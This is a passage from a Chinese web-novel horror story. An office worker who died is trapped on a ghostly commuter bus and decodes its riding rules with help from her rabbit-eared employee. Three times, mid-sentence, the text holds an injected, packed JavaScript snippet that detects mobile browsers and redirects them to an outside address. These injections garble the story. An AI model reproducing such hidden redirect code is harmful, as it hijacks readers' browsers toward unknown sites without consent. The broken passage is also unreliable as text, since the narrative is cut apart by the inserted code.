不出意外的话,这几个数字应该对应的是《通勤专线乘坐指南》里面的规则条款序列号,至于指代的意思…… 女鬼特意把它们放在一起,难道是按时第三条和第六条、第四条和第五条要组合在一起解读更合适吗? 姜照迅速在脑海里对应: 第三条——同事之间应互帮互助。 第六条——专车座位一经选定,不得更换。 第四条——公司永远是职工的家,心怀敬畏,方能远行。 第五条——专车车票上记录着职工所在公司名称。 这几条看似毫不相干的规则,究竟有什么关联? 一时想不通其中逻辑,姜照没有陷在死胡同里钻牛角尖,而是转头将注意力放在了自己身下的座位上。 既然规则中特意强调“专车座位一经选定,不得更换”,就说明这个座位一定有什么特别之处。 她不动声色地在座位上方摸索,什么都没有发现。 姜照也不气馁,借着小幅度调整姿势的掩护,身体微微蜷起,手指悄悄探向座椅下方,凭感觉开始小心翼翼地摸索。 几秒钟后,指尖忽然触到一片凹凸不平的硬物触感。 像是有人用利器,在椅底深处刻了一行字。 是公司名称吗? 姜照心头一喜,嘴角几不可查地向上弯了弯,正盘算着要不要冒险弯腰去看,手腕突然被一只手狠狠攥住。 冰冷、黏腻,带着一股凝重又尖锐的恶意,顺着皮肤一路钻进四肢百骸。 姜照控制不住地打了个寒颤,那颗刚猝死停跳过一次的心脏险些再度骤停。 她可以接受看恐怖电影,也可以接受鬼怪设定,可这种伸手一摸就是“床下有人”的现实版惊悚,还是太超过了。 咬着下唇死死压制住差点脱口而出的尖叫,姜照被吓得瞳孔有些涣散,僵硬地俯下身大口大口地深呼吸几下,试图强迫自己冷静下来,思考要如何挣脱这只用力扣住她手腕的鬼手。 就在这时,侧后方突然炸开一声尖锐刺耳的尖叫。 本就惊魂未定的姜照被这声惨叫震得浑身一哆嗦,本来快缓过来的大脑瞬间又是一片空白。 也正是这被吓得一愣神的间隙,姜照因祸得福,借着本能的惊颤猛地一用力,竟硬生生将手腕拽了回来。 空白的脑子过了好几秒才缓缓回神。 姜照第一反应是,自己得救了。 第二反应是,有人出事了。 没时间为了获救感到开心,她惨白着脸色,紧张地下意识舔了舔唇,顺着周围两个职员玩家的探寻目光,微微侧头向右后方望去。 只见最右侧单列、倒数第三排的位置上,一个女人僵硬地斜坐在那里,保持着左手探进座椅下方的姿势。 诡异的是,不断有漆黑黏稠的触手从她座椅下方的阴影里疯狂涌出,先是脚踝、小腿、大腿,再到腰部、手臂,那些触手一路缠绕而上,像最耐心的猎人,一步步将猎物拖入深渊,蚕食殆尽。 “救救我——!” 女人挣脱不开触手的束缚,瞪大布满血丝的双眼,绝望地盯着那些假装若无其事、却在暗中偷窥的职员玩家,声音抖得不成样子,满是恐惧与哀求。 “救救我,求求你们救救我……我的积分不够了,我还不想死——” 没有人回应女人。 车厢里死寂得像是有领导坐镇的办公室,连呼吸声都被刻意压到最轻。 所有人都僵在各自的座位上,干脆垂落地收回探寻的目光,假装什么都没看见、什么都没听见。 没有动摇,没有怜悯,没有同情。 大抵是终于彻底认清根本不会有人愿意伸出手帮她,女人最初那点微弱的挣扎渐渐消散,最后所有的力气都化作了失控的诅咒与辱骂。 她的声音嘶哑又凄厉,在格外安静的车厢里显得极为尖锐、刺耳:“你们以为……只要躲开我的死法,就能安然通关吗?!” “别得意太早,车马上就要到站了,副本时间所剩不多,却只有我一个触发了规则惩罚,还有数不清的陷阱,等着你们呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372986|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我祝你们这群冷眼旁观、见死不救的东西,全都沦落到和我一样的下场!一个都别想逃!” “去死——去死——你们都给我去死!!” 到最后,已经分不清女人是恐惧还是疯狂,只剩下一串破碎又癫狂的狂笑,在空旷的车厢里来回撞荡,刺耳得让人头皮发麻。 “哈哈哈哈哈……都去死!哈哈哈哈——” 笑声戛然而止。 随着女人声音越来越大,漆黑触手蔓延而出的速度也越来越快,现在已经一层又一层将女人完全包裹住,随后便连带着那最后的嘶吼,一起缓缓拖进了座椅底下深不见底的黑暗里。 挣扎声、咒骂声、惨叫声,一点点被吞噬干净。 车厢重归死寂,仿佛刚才那一幕,从未发生过。 姜照心口猛地一缩,几乎是本能地飞快收回视线,冰冷的指尖不受控制地微微发颤。 她几乎可以想象到,如果刚才自己没能挣开那只冰冷刺骨的鬼手束缚,此刻被拖进黑暗彻底吞噬的人,就是她了。 就和这个女人一样。 一样的绝望,一样的孤立无援,一样的被所有人漠然旁观。 姜照没有把女人临死前那堆恶毒的诅咒放在心上,自己本就没有救人的能力,她也不是因自己而死,没必要因此感到愧疚。 人生苦短,在这种人人自危的高压生存环境下,强求他人帮忙,本身就是一种道德绑架。 更何况,她也隐约明白了,刚才其他几位市场职员玩家脸上那一闪而过的如释重负,究竟从何而来。 在这种吃人的规则副本里,一个人的死亡,从来都不是无关人群的悲剧,而是其他人活下来的经验。 是用命换来的、血淋淋的提示。 就像他们曾经日复一日的工作里一样。 一个人的失误、崩溃、被淘汰,往往会变成其他人规避风险的前车之鉴,变成别人顺利完成任务、保住饭碗的垫脚石。 残酷,却又现实得令人窒息。 姜照压下心头那阵翻涌的不适,目光落回自己身前的座椅。 刚才指尖匆匆掠过,似乎摸到了什么刻痕,一行模糊不清的字,可究竟是什么,她还没来得及看清。 然而现在有了女人的前车之鉴,姜照不敢贸然再伸手下去。 这算什么呢。 姜照缓缓闭上眼,深深吸了一口气,最后,还是没忍住,猛叹一口气。 明明线索就在眼前,却偏偏看不到。 这跟明明到了下班时间,却只能硬着头皮留下无偿加班,生怕被老板抓住把柄扣工资、穿小鞋,又有什么区别?! “这么苦恼,为什么不请求我帮忙呢?” 心头那股无能狂怒的烦躁还没散去,一道熟悉又带着几分慵懒的声音,忽然贴着耳畔轻轻响起。 姜照几乎是本能地侧过头,撞进自家兔男郎员工那双带着笑意的眼眸里,可就在视线偏移的刹那,眼角余光却猛地捕捉到身后一丝异样。 刚才女人座位前方的一个只是NPC的男性员工,竟毫无征兆地缓缓站了起来。 男人先前一直麻木空洞的眼睛里,此刻却染上几分冰冷又扭曲的恶意,直勾勾盯着自己座位前方的男人。 一位市场职员。 姜照心脏猛地一沉,毫无来由的危机感顺着脊椎往上窜,一股强烈的直觉告诉她—— 有什么极其糟糕的事情,就要发生了。 5. 44路通勤专线 姜照的直觉没错。 那男人猛地从座位上站起,动作十分迅速,姜照还没看清他手里拿了什么,就听见一声布料被刺破的轻响,随后一支针管模样的东西,已经隔着薄薄的衬衫,狠狠扎进了前座那名男性职员玩家的左臂。 肯定很疼。 姜照感同身受地打了个寒颤。 针尖刺入的刹那,那名男职员整张脸瞬间扭曲起来,额角青筋猛地暴起,嘴唇哆嗦几下,眼见就要破口大骂出来。 就在这时,姜照蹙了蹙眉,心念电转间,忽然朝男人小幅度挥了挥手。 两人一个在第四列,一个在第五列,位置本就离得很近,男人几乎立刻察觉到她的动作,僵硬地小幅度转过头看向姜照。 姜照见状,立刻将右手食指抵在自己有些干裂的唇上,轻轻一压,做了一个再明显不过的噤声手势。 先前女人惨死时,姜照就已经观察到一些问题。 当时女人尖叫声越大,触手吞噬她身体的速度也越快,显然是因为又触犯了“禁止大声喧哗”的第一条规则。 眼前这男人的惩罚程度远不及女人那般惨烈,如果能忍住不叫,不再触犯其他规则,或许,还有活下来的可能。 男人看到姜照的手势,本来有些失神的瞳孔骤缩,几乎瞬间读懂了姜照的意思。 原本要脱口而出的脏话又被硬生生咽回喉咙,他紧咬牙关,攥着裤子的双手青筋暴起,指节泛白,求生的本能逼迫着他拼尽全力忍耐住痛苦,硬是没让半点声音漏出来。 化身容嬷嬷的NPC看着男人满头冷汗、脸色惨白却死活不肯出声的模样,颇为遗憾地叹了口气。 直到从男人手臂里抽出满满一管浑浊发黄的液体,才依依不舍地拔出针头,悻悻坐回原位。 黄色的液体? 正常人的血,怎么可能是黄色? 姜照的左眼皮跳了跳,这家伙不会压根不是人吧?! 男人自己也瞥见了那管诡异的黄色液体,眼底飞快掠过一丝惊疑,身体依旧绷得像根弦,不敢有半分松懈。 足足一分钟过去,确认身后那NPC没有再扑上来扎第二针的迹象,他才慌忙用衣服压紧手臂上的伤口,抹了把额角密密麻麻的冷汗,惊魂未定地朝姜照投来一个感激又后怕的笑。 姜照僵硬地摆摆手,示意无妨,随即飞快转回头,脸上一片凝重。 先不提男人是不是人这件事,刚才女人出事时,她回头观察的时候,这个男人也在悄悄侧头打量,除此之外,没有什么明显的出格举动。 从她收回目光到男人被扎,前后不过一分钟。 就是这短短一分钟里,他到底做了什么,才触发了惩戒? 直觉告诉姜照,这个问题至关重要。 缺少的信息太多,琢磨不出什么有用的线索,姜照烦躁地抓了一把头发,在心底无声地啧了一下。 可惜现在自己不敢贸然出声,不然要是能问问男人具体情况就好了。 就在姜照暗自苦恼之际,一缕微弱却清晰的凉风,忽然从斜后方飘了过来。 密闭压抑的车厢里,门窗紧闭,怎么可能有风? 姜照心脏猛地一紧,全身瞬间僵住,后背泛起一层细密的寒意,生怕是她无意中违背了哪条规则,轮到自己遭受惩罚了。 她一点一点、极其缓慢地扭过头。 下一秒,悬到嗓子眼的心,又迅速安稳落了回去。 是刚才被扎的那个男人。 他正用一根从衣服下摆撕下来的布条,轻轻朝她扇着风,见她视线看过来,眼睛一亮,示意她伸手接过布条。 姜照在其他职员玩家艳羡的目光里接过那团布条,悄悄展开。 里面只有两行极小、极潦草的字,字迹因为紧张而有些歪曲: “我只是坐着,没有做任何违反规则的事。” “我是市场职员,不是怪物,伤口流出来的血是红色,不知道为什么怪物抽走的液体是黄色。” 姜照立刻明白,这是男人为了报答她刚才那一记噤声提醒,用自己的方式递来的已知信息。 她下意识再朝后瞥了一眼,男人正满脸困惑地挽起袖子,歪头查看手臂上的针孔。 针孔周围渗出来的点点血迹,的确是正常的红色。 暗自记下这个存疑点,姜照收回目光,脑子飞速运转起来,开始推演男人可能触犯的规则。 她不是不相信男人的话,只是在现有规则含糊不明的情况下,有些惩罚的触发,往往连当事人自己都察觉不到。 第一条规则,“禁止大声喧哗等不文明行为”——显然不成立,如此明显的要求,男人不会意识不到。 第二条规则,保持积极的上班状态——这个姜照自己刚触发完,后果程度远比男人经历的一针要严重得多,要不是最后自己清醒过来,恐怕就得沦落到和先前女人一样的下场。 至于第三条规则要求的“同事间应互帮互助”…… 姜照原本想直接略过,可脑海里,却突然想起女人临死前撕心裂肺的哭喊: “救救我,求求你们救救我!” 姜照眼神一暗,这句话,算是一种求助吗? 如果算是求助,那本着第三条“同事间应互帮互助”的规则,是不是女人的同事需要提供帮助? 再者,如果同事冷眼旁观、没有进行帮助,又会受到什么惩罚呢? 一般而言像这种几家公司共用的场合,为了出现争执、事端,向来都是按企业规模划分区域、安排座位,几乎不会乱坐。 按照这个逻辑往下推演,男人和先前已经惨死的女人,中间只隔了一个空位,位置很近,处在同一个公司的概率很大,不排除有违反第三条规则的可能。 只是再对照男人刚才受到的惩罚来看,第三条规则本身,其实应该并不致死。 大概是因为规则里写的只是“应互帮互助”,抠字眼的话,一个轻飘飘的“应”字,只算建议,不算强制,单凭这一条,罪不至死是解释得通的。 可最坑人的地方就在这里。 一般人在遭遇这种突如其来的恐怖遭遇时,求生本能会作祟,下意识就会进行痛呼、尖叫、求救等自救行为,就像之前那个女人一样。 而一旦存在这种连锁反应,立刻就会触犯第一条禁止喧哗的规则。 两条规则一叠加,导致的后果会不会致死,这就不好说了。 想到这里,姜照心里那股火气“噌”地往上冲,只想当场破口大骂。 *无限市场脏话*,职场人最烦这种不说清楚的规则了,摆明了挖坑让人跳。 估计在场所有的职员玩家,都和自己一样,下意识把这条“同事应互帮互助”当成了现实里公司挂在嘴边的场面话、企业文化的客套词,谁也没往更一层的规则杀机去想。 而且有人惨死、通关线索较少、副本时间也过了将近一半,各种生存压力袭来,人人自危,再加上所有人都习惯了冷眼旁观、明哲保身,更不会联想到,自己早已在不知不觉中,踩中了副本规则的红线。 就这样在吐槽、脏话、解密的思绪乱飞间,一道熟悉的机械提示音,突兀地在脑海里响起。 “恭喜职员姜照解明《通勤专线乘坐指南》第三条规则隐藏内容,衍生技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372987|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘疯狂的时刑人’解锁进度:1/3。” 什么玩意儿? 姜照愣了愣,视线下意识落向左手手腕。 那里不知何时,自动开启了电子屏幕,淡蓝色的文字正静静显示着刚才那行提示。 她一时没反应过来,眉头直接皱死,脑子一转就来了个灵魂三连问。 “衍生技是什么意思?” “为什么不可以直接使用?” “好不容易给个技能,凭什么还得我手动解密充能才能解锁使用?” 怨气满满。 作为一个骨子里懒到极致、又最怕麻烦的资深社畜,姜照的人生信条只有一个:能简单就绝不复杂。 在她眼里,起床麻烦,走出房间麻烦,买东西麻烦,回消息麻烦,就连吃饭都麻烦…… 一言以蔽之,诸如以上所有需要动一下脑子、抬一下腿的琐碎破事,她都觉得很麻烦。 而这所有麻烦里,最麻烦的,永远是上班工作。 提到上班,姜照时常觉得自己是个表里不一又很矛盾的人。 嘴上天天喊着,与其这么生不如死地熬着,还不如直接一了百了,可第二天闹钟一响,她还是会拖着一具从睁眼开始就累得想死的身体,老老实实去赚那点窝囊费。 好不容易熬到工作猝死,也算是被迫解脱了,结果一睁眼,又来到这么个*无限市场脏话*的地方。 行吧,她也忍了。 毕竟,也不知道哪位伟人说过,人“活着”总归就有希望嘛! 然而现在,这个垃圾市场“公司”竟然告诉她所谓的技能还需要自己手动解密才能充能解锁。 它究竟知不知道这对于一个又怕麻烦又没什么本事还处在随时丧命环境里的实习生而言,是多么大的一个打击! 活着的时候工作007不让人安生,死了来到这鬼地方,还要被这么百般刁难和折磨。 这破世界,到底想怎么样啊?! 姜照心里一瞬间飘过无数脏话,骂规则、骂副本、骂这毫无人性的机制,可再大的火气,在生存压力面前也只能硬生生压下去。 她猛地深吸一口气,默默洗脑自己“努力这么久,一定要活到退休养老的那天再说”,这才不再去纠结那个坑爹的解锁进度,转身重新投入到怎么通关副本上。 不管规则怎么隐藏,最后的通关条件是不变的,因此,当前最重要的还是需要知道座椅下方的字迹内容是什么。 安静思考一会儿,姜照抬眼,看向一直屈身站在一旁、满眼期待地望着自己的伦纳。 糟糕想的太入神,忘了这里还有一只等着自己答复的兔子。 一人一兔对视几秒,姜照顶着过分火热的期待目光,有些尴尬地笑了笑,最终还是秉持着些微的希冀,无声地蠕动了几下嘴唇:“你能看懂唇语吗?” 伦纳乖巧地点了点头,长耳朵轻轻一动。 姜照眼底立刻掠过一丝喜意,微微弯了弯眼睛,继续无声问道:“那你帮我看看,座椅下方的那行字,写的是什么。” 终于等到自家“老板”的吩咐,伦纳像是得到了莫大恩赐,眼睛瞬间亮了起来,他优雅地弯下腰,行了一个标准的绅士礼,声音温柔又恭敬:“为您效劳,是我的荣幸。” 话音刚落,便面带得体微笑,伸出手,准备俯身去解读那行藏在座椅下方的文字。 下一秒,尖锐刺耳的机械音警报声,猝不及防炸响在姜照脑海里。 “警告!警告!警告!” “座椅文字为本次副本关键线索,职员(实习生)姜照未破解规则,严禁使用违规手段获取此信息!” 6. 44路通勤专线 姜照只觉得自己脑袋猝不及防被震得嗡嗡作响,机械声还带些零丁的回响,混合着脑子里原本的水声,仿佛有数十个很有“想法”的领导正在环人体三百六十度无死角各抒己见。 她下意识地闭紧双眼,缓了好一会儿,才勉强聚焦有些涣散的目光,看向身旁那位出师未捷身先死的兔男郎。 四目相对的瞬间,双方都从彼此的眼底,清晰地读出社死与尴尬。 一个是觉得自己刚胸有成竹毛遂自荐解决问题,转眼就被狠狠打脸,是自己作为“员工”的大失败。 一个则是觉得警告明确提到是因为自己未破解规则才导致手段违规,是自己作为“领导”的大失职。 两人面面相觑几秒,又很有默契地选择移开略显心虚的视线。 同时,心底不约而同地冒出同一个念头:糟了,第一次在领导/员工面前办事,就是这样被公然通报批评的结果,她/他不会觉得我办事不力、一无是处,然后选择抛弃自己跑路吧?! 靠,这可不行! 自己的退休大计不会还没开始,就夭折在员工招募上了吧? 姜照还没来得及继续担忧自己目前唯一的员工弃她而去,便被这个员工周身骤然沉下来的阴冷气息猛地拉回了神。 自见面以来一直带着温和笑意的伦纳,此刻脸色阴沉得骇人,虽然嘴角依旧噙着那抹浅淡的弧度,但姜照却敏锐地捕捉到,一股浓烈到几乎要凝为实质的怨气,正从他周身源源不断地蔓延开来。 非要形容的话,这个样子就很像在职场里野心勃勃、摩拳擦掌,准备在新任老板面前好好大展身手、一鸣惊人,结果却被公司繁琐苛刻的条条框框绊住手脚,最终铩羽而归,满腔热血瞬间凉透,最终走向黑化的可悲打工人。 对此,第一次尝试另类自主创业的姜照,非但没有像她从前的上司那般,指责下属情绪化办公,反而在心底暗自感慨:自己手下的第一个员工,竟然如此满怀激情、斗志昂扬、爱岗敬业…… 看起来就不像是会跑路的样子,很不错! 毕竟,职场里最让人头疼的,不是人员能力不够,而是偷奸耍滑不配合,只要态度端正、愿意好好干,能力这东西,他们两个完全可以一起提升嘛。 这么想的话,她这波,血赚! 暂时没有员工跑路的顾虑,姜照又回到安心解谜的状态。 俗话说得好:烈火炼真金,逆境出人才。 在之前那个制度烦多胜过夏天蚊蝇、流程死板堪比千年僵尸、程序矛盾得比肩哲学概念“二律背反”的公司里摸爬滚打几年,姜照还是有很多收获和心得的。 比如——规则是死的,照目前来看人也未必是“活”的,但办事的方法,一定要灵活变通。 工作嘛,有时候就得卡个bug,才能运转得顺畅些。 很快心里有了主意,姜照随手捏了一把蔫了吧唧的兔耳朵,开始安慰自己委屈巴巴的兔员工:“没事,别垂头丧气的,此路不通咱们还可以绕路而行,就是得先问一句,你能变回兔子吗?” 看到姜照非但没有怪罪,反倒还愿意搭理自己,沉浸在黑化里的伦纳,脸色总算稍稍缓和,头顶那对雪白的长耳轻轻抖了抖,微微点了点头。 姜照满意颔首,继续做口型指点:“那你就变回一小只兔子,借着身高优势,装作无意瞥过去一眼,悄咪咪记住底下的字,再偷偷‘委婉’地告诉我……” 话还没说完,那道熟悉又刺耳的机械音再度震荡在姜照的脑子里。 “警告!警告!警告!” “检测到职员(实习生)姜照教唆他人使用违规手段获取副本关键信息,请立刻停止此恶劣行为!” 姜照闻言,眼神一眯,啧了一声。 没想到*无限市场脏话*的顶头上司也能看懂唇语。 失策,失策。 投机取巧的路子暂时行不通,姜照又恢复到早八坐到工位的面瘫脸,生无可恋地瞥了一眼到站时间显示屏——红色进度条即将过半,必须得加快破解线索的速度了。 刚才的警报明确说明,座椅下方的那行文字是关键线索,足以证明这是副本通关的必要条件,可无论是自己,还是先前那个女人,都在触摸座椅下方后,遭遇了类似触手束缚的可致死惩罚机制,唯一值得庆幸的是自己好歹侥幸逃脱了。 想到这里,姜照很快意识到违和的地方。 其一,如果触手惩罚机制会致死,她真的有挣脱的可能性吗? 这就像某些公司里的奖惩制度,懂的都懂,奖励可以以各种理由克扣不发,但是考核一旦下达,必须严格按要求执行,考核越严重,强制执行度就越高。 其二,如果触摸座椅下方文字就会触发致死惩罚机制,那么这个副本根本就是死局,没有任何人能够通关,这显然不符合逻辑。 公司顶多就是让员工往死里工作,不至于直接整死员工,否则,万一后续引起一连串的换人成本、劳动力缺失等问题,处理起来反而会得不偿失。 按照这个逻辑顺下去,姜照理出两个猜想。 要么这个惩罚机制本身并不致死,那个女人惨死是有别的原因叠加,要么这个惩罚机制的触发原因并不是因为触摸了座椅下方文字,而是另有隐情。 为了验证自己的猜想,姜照看向窝在一旁、再度蔫头耷脑的伦纳,试探性问道:“无限劳动力市场的副本会出现关键线索致死,导致无法通关的情况吗?” “不会,副本成立的基本条件之一就是每个市场职员都有通关可能性。”伦纳靠着姜照的座椅,耷拉着长耳朵,原本高大的身躯缩成一团蹲在过道上,有气无力地回答道。 果然是这样。 姜照的脸上,终于重新漾开一丝笑意,接下来,只要找出自己究竟违背了哪条规则就可以了。 这个对现在已经解明大部分规则的姜照而言,反而是最简单的。 排除掉几条明显无关的规则后,她违背的,只可能是第四条——“公司永远是职工的家,心怀敬畏,方能远行”。 姜照细细咂摸了一遍这句话,脸上渐渐露出几抹毫不掩饰的嫌弃。 这该不会是在暗示,员工必须心怀对公司的敬畏之心,才能安全触摸和公司有重要关系的东西吧? “恭喜职员姜照解明《通勤专线乘坐指南》第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372988|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四条规则隐藏内容,衍生技‘疯狂的时刑人’解锁进度:2/3。” 恶心。 好恶心。 比下雪天通勤堵车导致迟到一分钟最后又被公司点名通报还要恶心。 机械音仿佛还在脑海里盘旋回荡,姜照忍了又忍,还是没控制住,生理性地干呕了几声。 这难道,就是她生前连续加班一百九十八天、长期保持朝八晚十一工作时间且单休(实际未执行)工作制的报应吗? 抬手抹掉眼角因干呕而不受控制沁出的生理性泪水,姜照知道自己有几斤几两,如果靠自己摸清字迹内容,那估计摸到天荒地老也摸不出来。 既然规则已经被破解,本着不浪费时间的原则,她飞快碰了一下旁边精神萎靡的伦纳,语气带着几分催促:“伦纳,别没精打采的了,现在估计你帮我看一眼那行字是没问题的,一会儿我示意看,你就看。” 说完,见这兔子还是一副魂飞天外、眼睛失去高光看向自己的呆愣样子,姜照歉意一笑,随即借着调整姿势的空隙,抬手轻轻拍了拍他那张看起来手感格外柔软的脸颊:“回回神,该工作了,我刚才说的话,你听见了吗?” 伦纳这才缓缓眨巴了两下通红的眼眸,涣散的目光一点点聚拢,渐渐恢复清明。 而他彻底清醒后的第一个念头就是—— 这是见面以来,她第一次称呼自己的名字,“伦纳”两个字从她嘴里说出来,果然很好听。 糟糕的心情,因为姜照的一声呼唤和触摸悄然散去,伦纳微微弯起眼睫,下意识地将左侧脸颊往姜照还未收回的手心上轻轻拱了拱,温顺得像只被安抚的小动物。 温热的皮肤软乎乎地贴在掌心,像被什么小动物亲昵地蹭了一下,姜照浑身几不可察地一僵。 她本来就不习惯和不熟悉的人有这样亲昵的肢体接触,此刻更像是被细小电流轻轻蜇了一下,也顾不上礼貌不礼貌,猛地将手抽了回来。 伦纳却神色如常,丝毫没有因为姜照这略显抵触的动作而尴尬,反而像是心情颇好,微微眯起那双如宝石般剔透的红眸,懒洋洋地望向姜照,眼神温顺,示意自己已经准备妥当,随时可以开始。 看着他这副被顺了毛、乖巧听话的模样,姜照心里难得升起点愧疚,暗自琢磨着,以后是不是该试着习惯一些正常的肢体接触。 算了,等先顺利通关这个副本再说吧。 毕竟,只有活下来的人才能思考未来的事情。 她收敛心神,在心底开始疯狂刷屏默念“我爱公司,公司最棒”,以此稳住心神,同时抬眼瞄了一眼白兔先生,颔首示意他可以去触摸座椅下方的文字了。 原谅她必须全神贯注洗脑自己,不然真的很难保持对公司的敬畏之心,搞不好还会穿插几句怨念很重的脏话,万一真的一个不慎触发惩罚机制,再误伤到伦纳就不好了。 这一次果然很顺利,也没有通勤车版“床下有鬼”的鬼手出来捣乱。 伦纳行动很快,只是伸手进去不过几秒,就将摸索识别到的内容反馈给她。 座椅下方,只清清楚楚印着四个字—— 天道酬勤。 7. 44路通勤专线 听到“天道酬勤”这四个字的时候,姜照不得不承认,自己是有那么几秒钟被无语到沉默了。 无他,只是因为这四个字对她而言实在是太熟悉了。 作为打工人办公室里最常见、最让人脑子发麻的励志标语之一,她生前工位旁的白墙上,就曾有幸高高挂着一幅装裱好的书法作品,上面就端端正正写着“天道酬勤”这四个字。 这四个字,就像领导安排在员工精神世界的监控,无时无刻不在提醒着她要勤恳、要努力、要任劳任怨地工作。 而现在,姜照万万没想到,自己就算死了,进入这种离奇又怪诞的无限副本,还能这么有缘分地和“天道酬勤”这四个字重逢。 这算什么? 传说中的命中注定吗? 姜照感觉到自己心脏猛地一抽,骤然加速狂跳,呼吸也变得急促起来,一股热意毫无征兆地从心口炸开,顺着血管一路往上冲,烧得她脸红脖子粗。 她知道,不必再多说什么,少女的脸红胜过一切脏话。 这,想必就是心梗的感觉吧。 一旁完成工作、正竖着耳朵乖乖等着被夸奖安抚的伦纳,迟迟没有等来姜照的顺毛摸头,有些疑惑地歪头一看,瞬间瞪大了眼睛。 只见姜照呼吸急促、脸色泛红,心率直冲一百八,整个人都处于一种快要红温爆炸的状态。 伦纳吓了一跳,连忙起身,伸手轻轻顺着她的后背,低声耐心安抚:“放松,深呼吸,吸气——呼气——,好,再来一次,吸气——呼气……” 如此反复重复几次,姜照情绪这才缓和下来。 她抬眼,看到伦纳一脸困惑、想开口询问却又欲言又止的样子,喘了几口匀气,赶在他出声前,直接把话堵了回去:“我没什么事,不用担心,只是跟‘天道酬勤’这几个字相处久了,有点ptsd。” 听到这个保证,伦纳这才放过自己那张因为担心已经皱巴巴的帅脸。 暂时抛下这段和“天道酬勤”命定的孽缘,姜照强迫自己冷静下来,重新梳理接下来的通关思路。 目前自己只有“天道酬勤”这四个字线索,可这四个字太模糊了,很难判断它到底是某家公司名称的缩写,还是单纯的企业文化口号。 如果是前者,那她还需要再想办法推测出全称;如果是后者,那就更麻烦了——连公司名称的半点信息都不知道,等于又要开始从头摸索。 姜照绞尽脑汁,想了半天,依旧是一头雾水,半点头绪都没有,大脑因为没有得到有效休息,又开始隐隐作痛。 有些烦躁地揉了揉太阳穴,她下意识望向窗外那片深不见底、浓得化不开的黑暗,心想着,实在不行就用了那一次向女鬼询问关键线索的权利。 只是姜照还没来得及开口,那道飘忽的女鬼身影就像是提前看穿了她的心思,主动从阴影里显形。 她看向姜照的眼神,带着几分显而易见的嫌弃与不赞同,语气慢悠悠地开口:“哎呀,现在的年轻人啊,都不好好动脑子思考,不听前辈言,可是要吃亏的哦。” 姜照并没有因为女鬼略带嘲讽的话而生气,她看得出女鬼对自己并无恶意,再加之刚才说话时女鬼眼神略显严肃、不赞同的神情,她更倾向于女鬼是在暗示自己,现在并不是使用线索提问权的最佳时机。 搞不好这*无限市场脏话*的副本后面还藏着什么更阴间、更坑人的套路。 从不怀疑某些公司对自家员工能有多恶毒,姜照从善如流地接受了女鬼的提醒,暂时放弃使用提问权的念头,决定再靠自己的脑子多挣扎努力一会儿。 刚才女鬼说自己“不听前辈言”,回想起女鬼之前说过的那句话,姜照闭了闭眼睛,知道自己还是没有完全解读透规则。 三不拗六。 四通五达。 她在心里默念这两句莫名其妙的话。 如果把第三条规则和第六条规则结合、第四条与第五条放在一起解读,会不会能挖出什么被忽略的新线索? 可同事之间要互相帮助,和座位不能随意更换,这两者到底能扯上什么关系? 怎么看都是驴唇不对马嘴,完全不搭边。 姜照越想越烦躁,忍不住用力挠了几把头发,瞄了一眼到站时间显示屏,上面那道猩红的时间条已经过半,留给通关的时间不多了。 她几乎要放弃思考,准备还是去找女鬼使用线索提问权时,身旁安静了许久的伦纳,忽然伸出手,轻轻戳了戳她的肩膀。 思考被突然打断,本就烦躁的姜照心里顿时升起一丝不快。 她抿着嘴,略带不满地抬眼看向伦纳,眼底还藏着没压下去的烦躁。 可这份小小的不悦,在看见伦纳轻轻抬手指向刚才被她救下一命的那名男人时,瞬间烟消云散。 姜照脑海中灵光一闪,终于将两条看似毫无关联的规则,彻底串联到了一起。 不能更换座位,是因为在这个副本里,写有公司相关重要信息的座位就代表公司。 更换座位,等同于更换公司,而这个副本明确要求,所有人必须对公司心怀敬畏,擅自换座,自然是绝对不被允许的。 从座位下方的文字,职员可以判断出自己和邻座人员所属公司的部分信息。 而从刚才那名男人因为忽视女人求助而被两人座位中间的副本NPC惩罚的情形可以推测出,座位相邻的人,大概率是同一家公司的员工。 至于第三条“同事之间互相帮助”的规则,则是副本特意设定,为的就是提醒他们这些需要通关副本的职员如何才能得知公司名称。 这么一来,逻辑就通了。 他们完全可以借着第三条规则的名义,正大光明地要求邻座同公司的副本员工,说出公司的完整名称。 姜照已经完全沉浸在自己的头脑风暴里了,半点没察觉自己此刻的模样落在旁人眼中有多诡异—— 不仅毫无征兆地猛地转头望向男人,脸上还挂着一抹说不清道不明的笑,很像某些影视剧里物色新人选的变态杀手。 十分契合现在车厢内的诡异氛围。 男人原本只是看出姜照是刚进副本的新人,担心她没有写字笔,就算找到公司名称,也没法在空白车票上写上字,这才打算把自己从市场商城里换来的笔借给她。 